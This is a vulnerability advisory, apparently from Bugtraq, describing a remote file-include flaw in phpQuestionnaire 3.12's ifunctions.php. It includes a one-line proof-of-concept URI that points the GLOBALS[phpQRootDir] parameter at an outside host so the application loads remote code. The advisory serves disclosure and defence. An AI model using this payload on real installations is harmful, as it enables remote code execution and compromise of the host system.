PHPQuestionnaire Ifunction.PHP Remote File Include Vulnerability

Bugtraq ID:	20142
Class:	Input Validation Error
CVE:
Remote:	Yes
Local:	No
Published:	Sep 21 2006 12:00AM
Updated:	Nov 06 2006 10:52PM
Credit:	Solpot is credited with the discovery of this vulnerability.
Vulnerable:	Chumpsoft phpQuestionnaire 3.12
Not Vulnerable:

PHPQuestionnaire Ifunction.PHP Remote File Include Vulnerability

phpQuestionnaire is prone to a remote file-include vulnerability because it fails to sufficiently sanitize user-supplied data.

Exploiting this issue could allow an attacker to compromise the application and the underlying system; other attacks are also possible.

Version 3.12 is vulnerable to this issue; other versions may also be affected.

PHPQuestionnaire Ifunction.PHP Remote File Include Vulnerability

An attacker can exploit this issue via a web client.

The following proof-of-concept URI is available:

http://www.example.com/path_to_phpQuestionnaire/inc/ifunctions.php?GLOBALS[phpQRootDir]=http://www,example.com

PHPQuestionnaire Ifunction.PHP Remote File Include Vulnerability

Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected]:[email protected].

PHPQuestionnaire Ifunction.PHP Remote File Include Vulnerability

References:

• phpQuestionnaire Home Page (Chumpsoft)
  
• SolpotCrew Advisory #12 - phpQuestionnaire 3.12 (GLOBALS[phpQRootDir]) ([email protected])